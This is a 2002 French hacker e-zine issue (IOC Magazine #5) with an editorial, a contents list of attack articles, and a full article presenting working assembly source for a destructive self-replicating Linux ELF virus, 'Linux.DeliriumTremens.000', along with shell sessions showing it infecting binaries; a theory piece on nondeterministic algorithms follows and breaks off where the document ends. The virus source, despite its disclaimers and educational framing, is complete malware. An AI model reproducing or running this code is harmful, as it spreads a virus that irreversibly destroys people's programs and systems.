Copy Link
Add to Bookmark
Report
Input Output Magazine Issue 05
The Input Output Corporation
http://www.rootshell.be/~ioc
.oO() P R E S E N T S ()Oo.
_
________ | |__ __
|__ __|| _ \ / \
| | | | | || - /
|__| |_| |_| \____|
__ __ __ ___ __ __ ________ ___ __ __ ________ ___ __ __ ________
| || '_ \ / _ \ | | | ||__ __| / \ | | | ||_ _ |/ - \| | | ||_ _|
| || | | || __/ | - | | | | [ ] || - | | | | __/| - | | |
|__||__| |__||__| \______| |__| \_____/ \______| |__| |__| \______| |__|
__ ____ __ __ _ ___ __ _ _____ __ __ __ __
| '_ '_ \ / ' | / \ / ' ||__ / | || '_ \ / \
| | | | | || [ ] || - || [ ] | / /_ | || | | || - /
|__| |__| |__| \____| \__ | \____| /____||__||__| |__| \____|
|___/
-------------------------------------------
_ _
_ Issue#5 5 Novembre 2002 _
-------------------------------------------
=-=-=-=-=-=-=-=-=-=-=-oO0() D I S C L A M E R ()0Oo-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
La lecture de cette publication électronique implique la lecture de ce disclaimer.
Le présent numéro a pour unique vocation de présenter aux lecteurs divers aspects de ce
vaste domaine qu'est la sécurité informatique, afin de leur donner les moyens de faire
façe à d'éventuelles attaques. Nous n'incitons aucunement nos lecteurs à se livrer à des
actes de piratages ni à quelqu'autre activité illicite. Les auteurs de cette publication
déclinent toute responsablité quant à l'usage qui peut être fait des informations allant
être diffusées ci-aprés. Aucune entreprise collective n'est menée par le groupe, hormis
la réalisation du magazine, chaque membre étant de ce fait seul responsable de ses actes.
Le contenu de ce document est sous copyright IOC (2001 - 2002) à moins que le contraire
ne soit indiqué. Permission est accordée de citer ou de reproduire tout ou partie d'un
article, du moment que celui-ci conserve les crédits d'origine.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
_
__ __| | __ ________ ___
/ \ / _ || ||_ _| / \
| _ / | |_| || | | | | [ ] |
\____| \____||__| |__| \_____/ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Quelque temps avant nos débuts, le groupe RtC signait le 5ème numéro de son magazine, qui
par la suite s'avéra malheureusement être le dernier de la série. Aujourd'hui, nos deux
mags cohabitent sur la même page de madchat et il semble que ce soit à notre tour de vous
proposer notre 5ème issue. En espérant que cette fois-cî la série se prolonge, nous voici
donc partis pour Iocmag issue5 ! Pas mal de monde nous a rejoint pour ce numéro, viperone,
Marcel pour ce qui est des nouveaux arrivants, Jackniels qui avait déja publié dans notre
précédente publication, ainsi que Disk-Lexic qui avait collaboré à l'issue3. Certains ont
été trés prolifiques, comme Li0n7 qui totalise 5 articles ! Pour d'autres en revanche, il
y a eut visiblement du laisser aller dans l'air =p Non, plus sérieusement l'équipe à bien
bossé, pour preuve, ce numéro est le plus long de tous avec plus de 300ko de textes et de
codes. Aussi nous espérons que vous pendrez du plaisir à nous lire. Vous l'avez constaté
en téléchargant ce mag depuis notre site, le design a radicalement changé ; merci à notre
québécois de collaborateur, viperone, pour ce nouveau look. En ce qui concerne l'actu de
la fameuse 'scène française' dont tout le monde parle tant, nous vous avions annoncé dans
l'édito de l'issue4, la sortie imminente du fameux magazine FRAG ; vous aurez compris que
les choses n'ont pas du se passer comme prévues, dommage. Toutetois si vous comptiez vous
y exprimer, vous pouvez toujours le faire chez nous, je dis ça juste en passant, comme ça.
Toujours entre paranthèses, je (neofox) vais profiter de cet edito pour vous signaler, en
tout discrétion, que je (toujours moi) recherche des amateurs de lockpicking prés de chez
moi, dans la région de Clermont-Ferrdand ; voila, c'est tout, merci de votre attention.
Comme à l'accoutumée, vous trouverez de quoi nous contacter à la fin de ce mag, mais vous
pouvez également passer faire un tour sur irc.epiknet.org #hianda, au moins vous êtes sur
de toujours croiser l'un d'entre nous. Allez, trève de bavardages, et bonne lecture !
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
___ ___ __ ____ __ __ ____ __ __ _ __ ____ __
/ __/ / \ | '_ '_ \ | '_ '_ \ / ' || || __| / \
\__ \| [ ] || | | | | || | | | | || [ ] || || | | - /
|___/ \_____/ |__| |__| |__||__| |__| |__| \____||__||_| \____|
------------------------------------------------------------
| Auteur | n° | T i t r e |
------------------------------------------------------------
| Neofox |I. | Erratum : oups, I did it again ! |
------------------------------------------------------------
| Emper0r |II. | ELF infection, la menace fantome |
------------------------------------------------------------
| Disk-Lexic |III. | Algorithmes déterministes |
------------------------------------------------------------
| Li0n7 |IV. | Sniffing avancé - lsniff.c |
------------------------------------------------------------
| Viperone |V. | Something about WinNT |
------------------------------------------------------------
| MeiK |VI. | Introducion au Tunneling ICMP |
------------------------------------------------------------
| Li0n7 |VII. | Network Traffic Backdoor |
------------------------------------------------------------
| Neofox |VIII.| Surveillance des binaires SUID |
------------------------------------------------------------
| Marcel |IX. | Lib. de classe de geston Client/Socket |
------------------------------------------------------------
| Li0n7 |X. | COM Infector |
------------------------------------------------------------
| Jackniels |XI. | Démarrer sshd à distance |
------------------------------------------------------------
| Li0n7 |XII. | EXE Infector |
------------------------------------------------------------
| Emper0r |XIII.| L'Attaque des Scripts |
------------------------------------------------------------
| Li0n7 |XIV. | Programmation d'un TCP SYN FLOODER |
------------------------------------------------------------
-=-=-=-=-=-=-=-=-=-=-=-
Contenu de l'archive
-=-=-=-=-=-=-=-=-=-=-=-
¤ ioc5.txt
¤ winnt.zip
¤ Suid-Surveyor.tgz
-----------------------------------------------------------------------------------------
I. Erratum : cherchez l'erreur ... Neofox
-----------------------------------------------------------------------------------------
Un brouillon d'article s'est glissé dans le précédent numéro, vas tu le retrouver ?!
Eh oui, chers lecteurs, vous avez probablement remarqué en parcourant l'issue #4,
que l'article de girliie sur le carding n'en était pas un ! Il s'agissait enfait
d'un 'brouillon' qui n'était que l'ébauche partielle de l'article final ! Ainsi,
même si en le survolant, l'allure générale du texte semblait normale, en lisant
plus attentivement on se rendait compte dès le milieu de l'article, que celui-ci
n'avait en fin de compte ni queue ni tête ! Comment diable expliquer une telle
méprise ? Nous ne le saurons jamais avec certitude, bien que j'ai en ce qui me
concerne ma part de responsabilité dans l'affaire. Les vacances d'été ont unpeu
décimé nos rangs, et sur #hianda la communication entre les troupes était assez
laborieuse. Girliie s'en est allée en nous confiant son ébauche, que nous avons
pris, à quelques jours de la sortie officielle, pour l'article fin prêt : lecture
en diagonale, mise en page express, copier/coller à la suite du mag, et nous
pensions l'affaire dans le sac ... De retour de vacances 15 jours plutard,
Girliie s'aperçevant de notre grossière erreur nous a secoué les puces, et en
15 minutes, le problème était réglé, le brouillon supprimé de l'issue aussi sec !
Il doit encore subister par cî par là des copies du mag contenant toujours le
brouillon mais soyez gentils, n'en tenez pas compte !
L'aritcle complet, bel et bien fini, vous sera servi dans son intégralité avec
le prochain numéro du magazine.
---------------------------------------------------------------------------------------
II. ELF infection la menace fantome: Épisode 1 Emper0r
---------------------------------------------------------------------------------------
[ Sommaire ]
I/ Introduction.
II/ Langage assembleur sous linux.
A/ Compilateur et syntaxe
B/ Le format elf
c/ Syscall
III/ Plan d'attaque.
IV/ Le code.
V/ Conclusion
I. Introduction :
_________________
Avant de commencer petit rappel :
"Entraver ou fausser le fonctionnement d'un système de traitement automatisé
de données est passible d'un emprisonnement de 3 mois à 3 ans et d'une amende
de 10 000 F à 100 000 F" (cf. iocmag issue4).
Attention a ce que vous faites ; en aucun cas vous ne pouvez vous servir des
informations de cet article pour nuire au le fonctionnement d'un système.
Ca y est je viens de finir mon premier lame elf infector :)
Je vous préviens tout de suite, mon virus est malheureusement un simple virus
a recouvrement, pas un parasite ! La principale difficulté que j'ai rencontré
fut l'extrême rigidité du format elf:
- On ne peut pas modifier les droits des sections.
- Il y a peu voir pas du tout d'espace non utilisé.
- Rigidité extrême, tout ce qui est incorrect segfault,
même si ca pourrait théoriquement fonctionner.
- Certaines section sont recouverte au lancement.
- Agrandir les sections pause pas mal de problème, c'est
long et compliqué (mais c'est certainement la solution)
- Je n'ai même pas réussi a ajouter une nouvelle section
correctement exploitable.
Bref tout le contraire du très souple format PE. Cet article peu être suivi
par tout le monde, il ne s'adresse pas uniquement aux vxers.
II. Langage assembleur sous linux.
____________________________________
A/ Compilateur et syntaxe :
___________________________
Je ne vais pas reprendre les bases de l'asm, les fonctionnement
des registres et des instructions de bases étant expliqués dans
IOC#3 et IOC#4.
Sous linux on a le choix entre plusieurs assembleur dont certains
utilisent des syntaxe différentes. Les plus utilisé sont:
- NASM: Qui utilise la syntaxe intel, utilisé
sous windows/dos
- GAS: Qui utilise une syntaxe AT&T
[ Différences de la syntaxe AT&T ]
o Les noms de registres sont préfixés avec %, de façon que les
registres sont %eax, %dl et consorts au lieu de juste eax,
dl, etc. Ceci rend possible l'inclusion directe de noms de
symboles externes C sans risque de confusion, ou de nécessité
de préfixes.
o L'ordre des opérandes est source(s) d'abord, destination
en dernier, à l'opposé de la convention d'intel consistant
à mettre la destination en premier, les source(s) ensuite.
Ainsi, ce qui en syntaxe intel s'écrit "mov ax,dx" (affecter
au registre ax le contenu du registre dx) s'écrira en syntaxe
AT&T "mov %dx, %ax".
o La longueur des opérandes est spécifiée comme suffixe du nom
d'instruction. Le suffixe est b pour un octet (8 bit), 'w' pour
un mot (16 bit), et 'l' pour un mot long (32 bit). Par exemple,
la syntaxe correcte pour l'instruction ci-dessus aurait dû être
"movw %dx,%ax". Toutefois, gas n'est pas trop aussi strict que
la syntaxe AT&T, et le suffixe est optionnel quand la longueur
peut être devinée grâce aux opérandes qui sont des registres,
la taille par défaut étant 32 bit (avec une mise en garde quand
on y fait appel).
o Les opérandes immédiates sont marqués d'un préfixe '$', comme
dans 'addl $5,%eax' (ajouter la valeur longue immédiate 5 au
registre %eax).
o L'absence de préfixe à une opérande indique une adresse mémoire ;
ainsi 'movl $foo,%eax' met l'adresse de la variable foo dans le
registre %eax, tandis que 'movl foo,%eax' met le contenu de la
variable foo dans le registre %eax.
o L'indexation ou l'indirection se fait en mettant entre parenthèses
le registre d'index ou la case mémoire contenant l'indirection,
comme dans "testb $0x80,17(%ebp)" (tester le bit de poids fort de
l'octet au déplacement 17 après la case pointée par %ebp).
Exemple:
Syntaxe Intel Syntaxe AT&T
push ebp pushl %ebp
mov ebp,esp movl %esp,%ebp
Personnellement j'utilise la syntaxe intel aussi sous linux, étant
habitué a celle-ci. Je ne voit pas d'avantage à utiliser AT&T qui
est plus longue à taper. Cependant vous devez la comprendre car gdb
donne du code désassemblé en syntaxe AT&T.
Vous trouverez prochainement (quand j'aurais le temps) sur mon site,
un script perl pour convertir des sources d'une syntaxe vers une autre.
(www.arbornet.org/~emper0r)
B/ Le format elf :
__________________
Juste quelques bases pour ceux qui connaissent rien au format elf.
[ Les sections ]
3 sections nous intéresse particulièrement :
o .data : elle contient des constantes, par exemple une
chaîne de caractère
o .bss : c'est la que l'on déclare nos variables
ex: filename resb 255; Reserve 255 octets
o .text : c'est ici que ce trouve votre code.
Essayez la commande 'readelf' elle donne énormément de renseignements
sur l'elf que vous voulez. Je suis en train de coder un petit outil du
style de "readelf" avec quelques options en plus, bientôt dispo sur mon
site (www.arbornet.org/~emper0r)
>>> Note de Neofox : c'est bon Emp', on a l'adresse =
Que peut on trouver d'interréssant dans le elf header :
typedef struct
{
unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
Elf32_Half e_type; /* Object file type */
Elf32_Half e_machine; /* Architecture */
Elf32_Word e_version; /* Object file version */
Elf32_Addr e_entry; /* Entry point virtual address */
Elf32_Off e_phoff; /* Program header table file offset */
Elf32_Off e_shoff; /* Section header table file offset */
Elf32_Word e_flags; /* Processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size in bytes */
Elf32_Half e_phentsize; /* Program header table entry size */
Elf32_Half e_phnum; /* Program header table entry count */
Elf32_Half e_shentsize; /* Section header table entry size */
Elf32_Half e_shnum; /* Section header table entry count */
Elf32_Half e_shstrndx; /* Section header string table index */
} Elf32_Ehdr;
Ce qui nous interresse :
o e_entry: Variable contenant le virtual offset du premier octet du code.
o e_shoff: Variable contenant l'offset ou ce trouve le section header.
[ La section header ]
/* Section header. */
typedef struct
{
Elf32_Word sh_name; /* Section name (string tbl index) */
Elf32_Word sh_type; /* Section type */
Elf32_Word sh_flags; /* Section flags */
Elf32_Addr sh_addr; /* Section virtual addr at execution */
Elf32_Off sh_offset; /* Section file offset */
Elf32_Word sh_size; /* Section size in bytes */
Elf32_Word sh_link; /* Link to another section */
Elf32_Word sh_info; /* Additional section information */
Elf32_Word sh_addralign; /* Section alignment */
Elf32_Word sh_entsize; /* Entry size if section holds table */
} Elf32_Shdr;
o sh_offset : Variable contenant l'offset de la section voulu
Voila pour mon virus, on juste besoin de ces 3 variables.
C/ Syscall :
____________
Les syscalls sont des interruptions logicielles un peu comme les
interruptions logicielles du DOS. Par conséquent ceux qui on déjà
programmé sous DOS ne seront même pas dépaysés :)
Exemple: le bon vieux hello world
Pour écrire une ligne on va ce servir de sys_write. Voici ce que
dit ma doc a propos de sys_write:
arguments:
eax 4
ebx file descriptor
ecx ptr to output buffer
edx count of bytes to send
return:
eax no. of sent bytes (if POSIX conforming f.s.)
errors:
eax EAGAIN, EBADF, EFAULT, EINTR, EINVAL, EIO, ENOSPC, EPIPE
source
fs/read_write.c
Pour plus d'information: "man 2 write"
Si je veux écrire une ligne dans ma console :
mov eax, 4 ;fonction écriture
mov ebx, 1 ;on écrit dans la console
mov ecx, msg ;pointe vers la chaîne
mov edx, len ;variable contenant la longueur de la chaîne
Le code complet:
;-----------------------------------------------------------------------------
section .data ;section déclaration
msg db "Hello, world!",0xa ;Chaîne a afficher
len equ $ - msg ;longueur de cette chaîne
global main
section .text ;section contenant le code
main:
mov edx, len ;edx = longueur de la chaîne a afficher
mov ecx, msg ;ecx pointe sur le début de la chaîne
mov ebx, 1 ;file handle, ou l'on écrit
mov eax, 4 ;sys_write
int 0x80 ;call kernell
mov ebx, 0 ;ebx = 0 -> exit code
mov eax, 1 ;sys_exit
int 0x80
;-----------------------------------------------------------------------------
[emper0r@laptop asm]$ nasm -f elf hello.asm
[emper0r@laptop asm]$ cc hello.o -o hello
[emper0r@laptop asm]$ ./hello
Hello, world!
[emper0r@laptop asm]$
Petite astuce avec : len equ $ - msg, le compilo remplit
directement la longueur de la chaîne, sinon on peut metre la valeur
directe biensur.
III. Plan d'attaque :
_____________________
Pour attaquer on a besoin :
- D'un éditeur texte, vi est trés bien.
- Une table explicative des syscalls.
- Une doc sur le format elf.
- gdb.
- Un éditeur hexa au choix.
- nasm.
- ldasm peut servir aussi en modifiant son code.
J'ai tout d'abord cherché à faire un virus parasite, mais après
plusieurs segfaults n'ayant toujours pas trouvé, je décide de faire
mes débuts avec un virus a écrasement, le plus simple possible.
Tout d'abord je décide d'écraser la section .text, premier problème
je ne peux pas utiliser de buffer, on ne peut pas écrire dans la section
.text. Le problème du buffer est résolu, je vais tout mettre dans la pile,
c'est pas trés propre mais je voit pas d'autre solution.
Second problème la section .text ne commence pas directement par notre
main() du code est écrit avant ; si l'on écrase ce code, une partie sera
récrite lors du chargement du elf :(
Il faudrait donc rechercher le début du main pour commencer à écrire
notre virus. ( je sais pas si sa marche j'ai pas testé ). Cependant mon
objectif est de faire le plus simple possible... Je cherche ailleurs...
12 segfaults et 4 bières plus tard je m'appercoit de quelques chose
d'interréssant la section .data est exécutable ! (vous remarquez au
passage ma moyenne de 3 segfaults/bière) Voila mon virus à écrasement
va écraser cette section en partant du début.
Pour infos, beaucoup (toutes ?) de sections qui on les mêmes droits et
fonctionnement que .data sont aussi exécutable.
Un avantage quand même sous linux pour les vxers, ce sont les syscalls
pas besoin de créer une routine pour trouver les fonctions en mémoire.
Le scann des apis en mémoire sous windows c'est franchement énervant.
[ Explication de certainnes fonctions ]
La programmation d'un virus contient toujours 2 parties très importante :
la recherche de fichier hote et la copie du virus lui même.
Commençons par la recherche de fichier :
La recherche va se faire avec le syscall 220 -> getdents64.
Voici un petit exemple du contenu d'un buffer construit par getdents:
0x80495ac <direntsbuf>: 0x00000000
0x80495b0 <direntsbuf+4>: 0x00000000
0x80495b4 <direntsbuf+8>: 0x0000000c
0x80495b8 <direntsbuf+12>: 0x00000000
0x80495bc <direntsbuf+16>: 0x2e040018 en + 19 le premier nom soit
0x80495c0 <direntsbuf+20>: 0x00000000
0x80495c4 <direntsbuf+24>: 0x00056a15 il y a 0x18 octets
0x80495c8 <direntsbuf+28>: 0x00000000 entre les noms cette info ce
0x80495cc <direntsbuf+32>: 0x00000018 trouve en + 16
0x80495d0 <direntsbuf+36>: 0x00000000
0x80495d4 <direntsbuf+40>: 0x2e040018 a partir de + 43 le deuxième nom
0x80495d8 <direntsbuf+44>: 0x0000002e
... ... ... ... ... ... ...
... ... ... ... ... ... ...
0x8049656 <direntsbuf+170>: 0x00000000
0x804965a <direntsbuf+174>: 0x00200000 prochain nom en $+20+3
0x804965e <direntsbuf+178>: 0x64646408 nom de fichier dddddddd
0x8049662 <direntsbuf+182>: 0x64646464
0x8049666 <direntsbuf+186>: 0x00000064
0x804966a <direntsbuf+190>: 0x27340000
0x804966e <direntsbuf+194>: 0x00000006
0x8049672 <direntsbuf+198>: 0x00740000
0x8049676 <direntsbuf+202>: 0x00000000
0x804967a <direntsbuf+206>: 0x00200000 prochain nom en $+20+3
0x804967e <direntsbuf+210>: 0x65656508 nom de fichier eeeeeeeeee
0x8049682 <direntsbuf+214>: 0x65656565
0x8049686 <direntsbuf+218>: 0x00656565
0x804968a <direntsbuf+222>: 0x27350000
etc ....
En analysant ce buffer, on peut voir que le premier nom de fichier
se trouve en 0x13 "direntsbuf+19". On voit aussi que 3 octet avant,
en 0x10 "direntsbuf+16" ce trouve l'offset du prochain du prochain
nom + 3. Et ainsi de suite.
La Deuxième fonction est donc l'infection, en théorie ca donne :
1- Récupération un nom de fichier
2- Ouverture de ce fichiers
-sion peut pas on passe en 1
3- Test si il s'agit bien d'un elf
-si ce n'est pas le cas on revient en 1
4- Test si la taille de .data du fichier trouvé
est > a la taille de notre virus
-sinon on passe en 1
5- Écriture de notre virus au début de .data
6- Modification de l'EP du fichier vers le début
de la section .data
7- Tous les fichiers de ce rep ont était testé ?
-sinon on passe en 1
8- Affichage de la signature et fin.
IV. Le code :
_____________
/!\ Si vous voulez le tester alors seulement sur votre propre
bécane. Attention ce code est destructeur.
/!\ La destruction et/ou modification de données ainsi que la
propagation de virus est trés fortement punis par la loi.
Ce code permet l'étude de l'infection possible du format elf, en aucun cas
il doit être utiliser dans le but de nuire ou détruire.
;-----------------------------------------------------------------------------
;
; Linux.DeliriumTremens.000 by Emper0r
; ____________________________________
;
;
;
;Just a another lame virus ...
;
;
;Le Delirium Tremens est une 'maladie' lié à la suspension brutale de
;l'intoxication a l'alcool, des symptômes mineurs initiaux peuvent apparaître
;6 à 8 heures après la dernière absorption. Cette 'maladie' provoque
;agitation, état confusionnel, hallucinations, tremblement rapide,
;trouble du sommeil, signes neuro-végétatifs (sudation, fièvre, tachycardie ..)
;
;
;La Delirium Tremens est aussi une bière trés bonne (oupss j'ai fait d'la pub )
;
;
;Linux.DeliriumTremens.000 est un petit virus capable d'infecter tout les elfs
;du répertoire courant du moment que ceux ci on une section .data plus
;importante que son code.
;
;Linux.DeliriumTremens.000 est un virus a écrasement il est DESTRUCTEUR, la
;section .data ou du moins une parti est écrasée et l'hote ne fonctionne plus
;du tout, il est irrémédiablement détruit.
;
;Si vous voulez le tester alors faite le seulement sur votre propre bécane en
;connaissant les risques encouru...
;
;Remerciement:
; - A tous ceux qui participent et/ou soutiennent la IOC.
; - La team 29A et tout particulièrement SnakeByte et Mandragore
; - Tous les vxers bien taré et bien sympa que l'on retrouve dans certains
; coin obscur de l'IRC :)
;
;
;Pour compiler ca :
;nasm -f elf DeliriumTremens.asm
;cc DeliriumTremens.o -o DeliriumTremens
;(compiler sous linux avec un kernell 2.4.18)
;
;"He who makes a beast of himself gets arid of the pain of being a man"
;
;
section .data ;Le code de la souche est aussi dans la .data
main :
debutvirus: ;
mov eax, 5 ;ouverture
push 0x2E ;0x2E= '.' astuce pour pas utiliser de buffer
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
sub esp, 0x10000 ;recup de la place sur la pile, 64ko
;juste pour les noms
mov ebx, eax
mov eax, 220 ;getdents
mov ecx, esp ;buffer_résultat dans esp
mov edx, 0x10000 ;taille
int 0x80
mov ebp, 16 ;premier nom en ebp + 3
lol:
mov ebx, ebp
add ebx, 3 ;esp + 3 = première lettre du nom
jmp fouverture ;j'aurai du le remplacer par un call mais j'ai
;déja assez de manip sur la pile(voir la suite)
arf:
mov ecx, ebp ;test si plus de fichier dans le buf
mov dl, byte [esp + ecx]
cmp dl, 0
je bye ;plus de fichier alors casse toi
add ecx, edx ;sinon ajoute le prochain décalage
mov ebp, ecx ;on le sauve
jmp lol ;et on passe au suivant
fermeture:
mov eax, 6 ;on ferme le fichier ouvert
int 0x80 ;
jmp arf ;on va ce préparé a repartir avec un nouveau fichier
bye:
mov eax, 4 ;affiche la signature
mov ebx, 1
call @@@ ;permet de récupéré eip
@@@: ;dans ecx, une fois infecter les
pop ecx ;labels ne fonctionneront plus
add ecx, 0xDD ;notre signature ce trouve 0xDD plus loin
mov edx, 38 ;longueur de la signature
int 0x80
mov eax, 1 ;c'est fini on stoppe tout
mov ebx, 0
int 0x80
fouverture: ;ouverture du fichier
mov eax, 5
add ebx, esp
mov ecx, 2
xor edx, edx
int 0x80
cmp ah, 0xFF ;teste si on a pu l'ouvrir
je arf ;sinon on va ce préparé pour un nouveau fichier
push eax ;met le file descriptor sur la pile
pop ebx ;recup le FD
call sysread ;lecture des 4 premiers octet du fichier
cmp eax, 0x464C457F ;test si elf
jne fermeture ;sinon on ce casse
mov ecx, 0x20
call syslseek ;lseek sur e_shoff (section header offset)
call sysread ;lecture de e_shoff
push eax ;sauvegarde de e_shoff
mov ecx, eax
add ecx, 0x26C ;on ce place sur sh_size .data
call syslseek ;"
call sysread ;on lit sh_size (section header size)
pop ecx ;on récupère e_shoff ici, sinon pb de déséquilibre pile
cmp eax, finvirus - debutvirus ;si pas la place de mettre le code viral dans
jl fermeture ;.data alors on ce casse
add ecx, 0x268 ;on ce place sur sh_offset de .data
call syslseek ;"
call sysread ;on lit sh_offset .data
mov ecx, eax
push ecx ;sauve sh_offset .data
call syslseek ;on ce place au début de .data pour écrire
mov eax, 4 ;écriture :)
call cocaïne ;Toujours pareil on recup eip dans ecx
cocaïne: ;car les labels seront 'détruits' dans les
pop ecx ;fichiers infecter
sub ecx, 0xEB ;début du code viral en eip - 0xEB
mov edx, finvirus - debutvirus ;nb d'octet a écrire, pas de pbs de label ici
int 0x80
mov ecx, 0x18 ;adresse de e_entry (Entry point)
call syslseek ;lseek sur e_entry
écriture:
mov eax, 4
pop ecx ;ecx = sh_offset .data
add ecx, 0x8049000 ;ajout du virtual offset
push ecx
mov ecx, esp ;petite astuce
pop edx ;rééquilibre la pile avec un octet
mov edx, 4
int 0x80
jmp fermeture
sysread: ;FD dans ebx, les 4 octet lu sont récupéré dans eax
mov eax, 3 ;sys_call read
sub esp, 4 ;on ce pend 4 octet sur la pile
mov ecx, esp ;buffer sur la pile
mov edx, 4
int 0x80
pop eax ;résultat dans eax
ret
syslseek: ;il faut le fd dans ebx, et le déplacement dans ecx
;déplacement a partir du début du fichier
mov eax, 19
xor edx, edx
int 0x80
ret
signature db 'Linux.DeliriumTremens.000 By Emper0r',10,13,
finvirus:
;----8<-------------------------------------------------------------------------
[ Les tests ]
Combien fait le code de mon virus pour commencer:
[emper0r@laptop vx]$ readelf -S DeliriumTremens |grep .data
[14] .rodata PROGBITS 08048430 000430 000008 00 A 0 0 4
[15] .data PROGBITS 08049438 000438 000178 00 WA 0 0 4
Mon virus dans la .data fait donc 0x178 (en vérité un peu moins)
On va récupéré plusieurs elf avec différentes tailles de section .data.
Un petit script shell que j'appelle sondage.sh va me faire ca:
#!/bin/bash
echo "sondage de la taille de la section $1 dans le rep /bin/\n" > resultat
for file in /bin/*
do
echo $file >> resultat
readelf -S $file | grep $1 >> resultat
echo "" >> resultat
done
cat resultat
[emper0r@laptop vx]$ ./sondage.sh .data
......
Il y a beaucoup de résultat je vais juste prendre ces 3 fichiers ca me va très
bien :
/bin/ypdomainname
[14] .rodata PROGBITS 08049500 001500 000aa1 00 A 0 0 32
[15] .data PROGBITS 0804afa4 001fa4 000018 00 WA 0 0 4
--
/bin/zcat
[14] .rodata PROGBITS 08051da0 009da0 001771 00 A 0 0 32
[15] .data PROGBITS 08054520 00b520 000ac0 00 WA 0 0 32
---
/bin/zsh
[14] .rodata PROGBITS 080ab680 063680 005eed 00 A 0 0 32
[15] .data PROGBITS 080b2580 069580 002f70 00 WA 0 0 32
----
[emper0r@laptop vx]$ ls
compilo.sh* DeliriumTremens.asm resultat ypdomainname* zsh*
DeliriumTremens* DeliriumTremens.asm~ sondage.sh* zcat*
Je vais lancer mon virus et normalement si tout le monde a suivit il va
infecter zcat et zsh mais pas ypdomainname.
[emper0r@laptop vx]$ ./DeliriumTremens
Linux.DeliriumTremens.000 By Emper0r
virus lançé dans le rep
[emper0r@laptop vx]$ cp /bin/awk ./
un nouveaux cobaye entre en jeux :)
[emper0r@laptop vx]$ ./zcat
Linux.DeliriumTremens.000 By Emper0r
zcat a bien été infecté et va infecter awk
[emper0r@laptop vx]$ ./awk
Linux.DeliriumTremens.000 By Emper0r
voila ca à fonctionné
[emper0r@laptop vx]$ ./ypdomainname
localdomain
Ca section .data étant trop petite pour contenir le code il n'a pas étai
infecter.
VI. Conclusion :
_________________
Le code comporte quelques petites astuces mais reste trés simple, il est
enplus bien commenté à mon avis. J'ai essayé de supprimer un maximum les
embrouilles de buffer dans la pile, on doit toujours penser a ne pas
'déséquilibrer' la pile, bien faire attention lors des sorties de fonction.
Il contient juste 1 petit problème : si la section .data n'est pas la
16 ème section, alors les elf infectés risquent de segfaulter ou de ne
pas fonctionner si on tombe dans une section sans droits d'exécution ou
d'écriture. C'est trés rare mais ca peu arriver si l'elf a été compilé
avec certaines options. Il est facile de corriger ce problème mais ce
virus à écrasement ne comporte que peu d'interêt ; je ne suis pas allé
au bout de tout les tests, c'était juste pour le fun :)
Vous pouvez augmenter aussi l'espace pris dans la pile si vous avez
peur que 64Ko d'espace (pour stocker les nom de fichiers de répertoire
courant) ne suffisent pas.
Vous remarquerez aussi ma façon de bourrin pour calculer le virtual
offset du début de la section .data pour l'EP, on peu arranger ca
facilement aussi.
Un virus parasite est en cour de dévellopement avec de vraies bonnes
fonctions intérrésantes, affaire a suivre ....
Pour discuter de virus (n'hésitez pas j'adore ca :) vous pouvez me
trouver sur IRC: epiknet & undernet, sinon mail: emper0r@secureroot.com
<< He who makes a beast of himself
gets arid of the pain of being a man >>
---------------------------------------------------------------------------------------
III. Algorithmes déterministes et non déterministes Disk-LeXic
---------------------------------------------------------------------------------------
! Salut à tous .
! L'article que vous allez lire est inspiré d'un article
! qui lui même s'est inspiré d'un article de Floyd.
! Exceptionnellement, vous ne trouverez ici que de la
! théorie. Si malgré tout, vous tenez à vérifier que votre
! microprocesseur puisse calculer durant 10^24 siècles sans
! bugger une seule fois, libre à vous de tenter de mettre
! en application les explications qui suivent.
! Je nierais avoir été responsable de l'indisponibilité des
! ressources dont disposait votre ordinateur.
! Sur ce, bonne lecture.
I. Algorithmes non déterminites :
_________________________________
Souvent les programmes, pour résoudre des problèmes combinatoires,
peuvent s'écrirent simplement de manière non déterministe, en utilisant
une fonction à valeurs multiples
De tels programmes, bien qu'ils ne peuvent pas s'executer sur des
calculateurs conventionnels, peuvent êtres traduit mécaniquement en
programmes traditionnels utilisant le back-tracking.
Typiquement, le Back-tracking résout un problème par l'énumération
exhaustive de l'ensemble des solutions possibles. Si, à un moment
donné, la tentative de solution ou une solution partielle est trouvée
inconstante avec le problème posé, le programme "backtracke" :
remet les variables à la valeur qu'elles avaient juste avant l'essai
infructueux et essaie une autre alternative au même niveau.
Quand toutes les alternatives à un même niveau ont été essayées, le
programme remonte à un niveau supérieur pour essayer les
autres alternatives.
Les algorithmes non déterministes ressemblent aux autres algorithmes
exceptés en deux points.
1) L'utilisation d'une fonction à valeurs multiples.
Choix (X) dont les valeurs sont les entiers positifs
inférieurs ou égaux à X.
2) Tous les points de terminaison sont étiquetés par
succès ou échec.
II. Passage d'un algorithme non déterministe à un aglorithme déterministe :
___________________________________________________________________________
[ BEGIN ]
Le but est de transformer un algorithme non déterministes S par une suite
|S+
de transformations en un algorithme |-- déterministe.
|S-
S+ correspond à la partie "descente" et S- à la partie "retour en arrière".
notation: -T sera une variable auxiliaire
-M sera une pile
-W sera la pile d'écriture
-R sera la pile de lecture
-f sera une expression quelconque
-p sera une expression booleenne
Toute les branches de l'organigramme non déterministe
seront étiquettées par des lettres.
1) S+ { | A
v
[Empiler X dans M]
|
[X <- f]
| B
v
S { | A
v
[X <- f] ===============|>
| B
v
S- { | A'
v
[Depiler M vers X]
| B'
Avant d'affecter une nouvelle valeur à X, l'ancienne valeur est stockée
dans la pile M afin de pouvoir la récupérer lors du retour en arrière.
2) S+ { | A
v
-----------
oui-| Test P |-non
| ----------- |
v B v C
S { | A
v
- --------
oui-| Test P |-non =============|>
| ---------- |
v B v C
S- { \B' C'/
\ /
\ /
\ /
\ /
---
|
|
v A'
Le branchement ne causant pas de perte d'information, rien n'est
prévu pour le retour.
3) S+ { | A
v
[Empiler f dans W]
| B
v
S { | A
v
[Ecrire f] =================|>
